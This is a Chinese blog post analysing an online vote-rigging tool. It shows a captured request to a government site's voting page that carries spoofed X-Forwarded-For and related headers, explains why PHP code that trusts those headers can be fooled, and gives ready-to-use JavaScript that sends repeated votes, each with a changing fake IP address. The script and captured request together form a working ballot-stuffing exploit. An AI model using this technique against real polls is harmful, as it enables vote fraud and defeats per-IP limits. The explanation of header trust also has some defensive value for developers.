您的位置:首页 > 运维架构 > 网站架构

投票网站分析及伪造IP技术

2013-05-23 19:02 197 查看
投票网站检查IP,限制一个IP只允许投票一次,那么只有使用代理,或者通过不停的断网和拨号才能实现。我实在想不到其他好办法,后来这个朋友找到了一个可以极速在这个网站投票的程序,我对这个程序的IP解决方案很好奇就问朋友要来想分析一下。

首先我是采取对这个投票软件进行抓包的方式来研究,准备好了之后,打开投票程序“刷!提示软件冲突!”晕,不会吧,那我就关掉一些程序,都关完了只留一个抓包程序还提示冲突,呵呵,原来这个程序竟然还知道有人可能会分析他的软件,竟然遍历进程名称,检查是否有可疑的程序,如果有程序对他进行分析或者抓包,他就拒绝运行。呵呵,目前我知道他限制的软件有易语言编程软件,还有 WSockExpert_Cn 抓包软件。呵呵,关了易语言,把 WSockExpert_Cn 名称改一下,顺利通过软件的自身安全检测,运行成功。



以下是我在使用过程中他投票是的数据包:

POST /vote/view.php?sid=33&act=vote HTTP/1.1

Accept: */*

Referer: http://www.qdnfy.gov.cn/vote/vote.php

Content-Type: application/x-www-form-urlencoded

X-Forwarded-For: 218.20.218.200

CLIENT_IP: 218.20.218.200

VIA: 218.20.218.200

REMOTE_ADDR: 218.20.218.200

Accept-Language: zh-cn

Accept-Encoding: text

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)

Host: www.qdnfy.gov.cn

Cookie: PHPSESSID=pldjnb6scereodjm5niqb9q990

Content-Length: 49

Connection: Close

X-Forwarded-For 发现了这个http头参数 后面跟着IP,呵呵,这个参数肯定有来头,原来我一直不知道,呵呵,赶紧百度一下。

下面是百度后的一篇说明文章,说得很好,大家看看。

伪造HTTP头中的X-Forwarded-For字段来伪造IP

百度了一下X-Forwarded-For的原理,这东西出来好长时间了.我还第一次听说

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。

它不是RFC中定义的标准请求头信息,在squid缓存代理服务器开发文档中可以找到该项的详细介绍。

标准格式如下:

X-Forwarded-For: client1, proxy1, proxy2

从标准格式可以看出,X-Forwarded-For头信息可以有多个,中间用逗号分隔,第一项为真实的客户端ip,剩下的就是曾经经过的代理或负载均衡的ip地址,经过几个就会出现几个。

wiki 的X-Forwarded-For解释 http://en.wikipedia.org/wiki/X-Forwarded-For

分析:

既然是要伪造客户端IP,那我们先看看一般是怎样获取客户端IP地址的(以php为例).这段代码是在百度搜索到的.大部分网站可能都用这段代码

<?php

$user_IP = ($_SERVER["HTTP_VIA"]) ? //是否使用了代理

$_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];

//获取失败则从REMOTE_ADDR获取

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];

?>

首先判断HTTP_VIA头是否存在,HTTP_VIA头代表是否使用了代理服务器.如果没有那就从REMOTE_ADDR字段获取客户端的IP地址,如果有那就从X-Forwarded-For获取客户端IP

我估计很多程序员都是从百度来的代码吧.asp也类似.

然后我们来测试一下.

服务端代码:

<?php

//输出HTTP_X_FORWARDED_FOR

echo "HTTP_X_FORWARDED_FOR:".$_SERVER["HTTP_X_FORWARDED_FOR"];

//输出REMOTE_ADDR echo "REMOTE_ADDR:". $_SERVER["REMOTE_ADDR"];

?>

可以看到获取到的客户端ip地址是不一样的.REMOTE_ADDR为真实地址.

所以一个网站如果是从X-Forwarded-For来判断客户端IP地址的话,那么我们就可以利用这个逻辑漏洞刷票了.刚好我同学那个网站就是.

演示地址:http://87year.info/t00ls/vote/index.html(右键可查看所有客户端源码)

附客户端代码:

<script>

function CreateXMLHttp(){

var xmlhttp=false;//创建一个新变量并赋值false,使用false作为判断条件说明还没有创建XMLHTTPRequest对象

try{

xmlhttp=new XMLHttpRequest();//尝试创建 XMLHttpRequest 对象,除 IE 外的浏览器都支持这个方法。

}catch(e){

try{

xmlhttp=ActiveXobject("Msxml12.XMLHTTP");//使用较新版本的 IE 创建 IE 兼容的对象(Msxml2.XMLHTTP)。

}catch(e){

try{

xmlhttp=ActiveXobject("Microsoft.XMLHTTP");//使用较老版本的 IE 创建 IE 兼容的对象(Microsoft.XMLHTTP)。

}catch(failed){

xmlhttp=false;//如果失败了还保持false

}

}

}

return xmlhttp;

}

var g_i=0;

function $(obj){

return document.getElementById(obj);

}

function onSearch()

{

var g_xmlhttp=CreateXMLHttp();

if (g_xmlhttp==false)

{

alert("你的浏览器不支持ajax");

return;

}

var sendData="bid="+$("id").value;

var fakeIP=$("ip").value+g_i;

//alert(fakeIP);return ;

g_xmlhttp.open("POST","http://192.168.15.166/ip.php",true);

g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);

g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);

g_xmlhttp.onreadystatechange=function(){

if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4)

{

$("res").innerHTML+=g_xmlhttp.responseText+"</br>";

if(++g_i<5)

{

setTimeout("onSearch()",1000);

}

}

}

g_xmlhttp.send(sendData);

}

</script>

<form name="form1" method="post" action="" id="form1">

<div>

<br />

ip地址:<input id="ip" type="text" value="200.156.4." /></br>

投票ID:<input id="id" type="text" value="232" /></br>

<input id="search" type="button" value="开始" />

<br />

<br />

<span id="res"></span>

<br />

<br />

</div>

</form>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐